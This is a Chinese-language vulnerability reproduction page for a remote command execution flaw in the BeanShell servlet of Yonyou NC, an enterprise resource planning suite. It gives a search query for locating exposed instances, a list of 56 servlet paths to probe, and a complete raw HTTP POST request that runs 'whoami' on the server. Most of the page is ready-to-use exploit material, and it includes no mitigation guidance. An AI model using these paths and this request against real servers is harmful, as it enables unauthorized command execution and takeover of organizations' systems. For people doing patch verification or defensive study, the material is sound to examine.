登录 白背景
源码

用友 NC bsh.servlet.BshServlet 远程命令执行漏洞

一、漏洞描述

用友 NC bsh.servlet.BshServlet 存在远程命令执行漏洞，通过 BeanShell 执行远程命令获取服务器权限。

二、影响版本

  • 用友NC

三、资产测绘

  • huiter：app.name=="用友 UAP"

image.png

  • 登录页面

image.png

四、漏洞复现

爆破如下56个路径访问出现如下页面表示可能存在漏洞

/service/~aim/bsh.servlet.BshServlet
/service/~alm/bsh.servlet.BshServlet
/service/~ampub/bsh.servlet.BshServlet
/service/~arap/bsh.servlet.BshServlet
/service/~aum/bsh.servlet.BshServlet
/service/~cc/bsh.servlet.BshServlet
/service/~cdm/bsh.servlet.BshServlet
/service/~cmp/bsh.servlet.BshServlet
/service/~ct/bsh.servlet.BshServlet
/service/~dm/bsh.servlet.BshServlet
/service/~erm/bsh.servlet.BshServlet
/service/~fa/bsh.servlet.BshServlet
/service/~fac/bsh.servlet.BshServlet
/service/~fbm/bsh.servlet.BshServlet
/service/~ff/bsh.servlet.BshServlet
/service/~fip/bsh.servlet.BshServlet
/service/~fipub/bsh.servlet.BshServlet
/service/~fp/bsh.servlet.BshServlet
/service/~fts/bsh.servlet.BshServlet
/service/~fvm/bsh.servlet.BshServlet
/service/~gl/bsh.servlet.BshServlet
/service/~hrhi/bsh.servlet.BshServlet
/service/~hrjf/bsh.servlet.BshServlet
/service/~hrpd/bsh.servlet.BshServlet
/service/~hrpub/bsh.servlet.BshServlet
/service/~hrtrn/bsh.servlet.BshServlet
/service/~hrwa/bsh.servlet.BshServlet
/service/~ia/bsh.servlet.BshServlet
/service/~ic/bsh.servlet.BshServlet
/service/~iufo/bsh.servlet.BshServlet
/service/~modules/bsh.servlet.BshServlet
/service/~mpp/bsh.servlet.BshServlet
/service/~obm/bsh.servlet.BshServlet
/service/~pu/bsh.servlet.BshServlet
/service/~qc/bsh.servlet.BshServlet
/service/~sc/bsh.servlet.BshServlet
/service/~scmpub/bsh.servlet.BshServlet
/service/~so/bsh.servlet.BshServlet
/service/~so2/bsh.servlet.BshServlet
/service/~so3/bsh.servlet.BshServlet
/service/~so4/bsh.servlet.BshServlet
/service/~so5/bsh.servlet.BshServlet
/service/~so6/bsh.servlet.BshServlet
/service/~tam/bsh.servlet.BshServlet
/service/~tbb/bsh.servlet.BshServlet
/service/~to/bsh.servlet.BshServlet
/service/~uap/bsh.servlet.BshServlet
/service/~uapbd/bsh.servlet.BshServlet
/service/~uapde/bsh.servlet.BshServlet
/service/~uapeai/bsh.servlet.BshServlet
/service/~uapother/bsh.servlet.BshServlet
/service/~uapqe/bsh.servlet.BshServlet
/service/~uapweb/bsh.servlet.BshServlet
/service/~uapws/bsh.servlet.BshServlet
/service/~vrm/bsh.servlet.BshServlet
/service/~yer/bsh.servlet.BshServlet

image.png
在Script框中输入exec("whoami")即可执行命令
image.png

POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Connection: close
Cookie: JSESSIONID=0000nl4-L8F7pMKtOsdRw8-2rzz:nc2
Upgrade-Insecure-Requests: 1

bsh.script=exec%28%22whoami%22%29%0D%0A

image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/ihxupu3hw3ft0pdd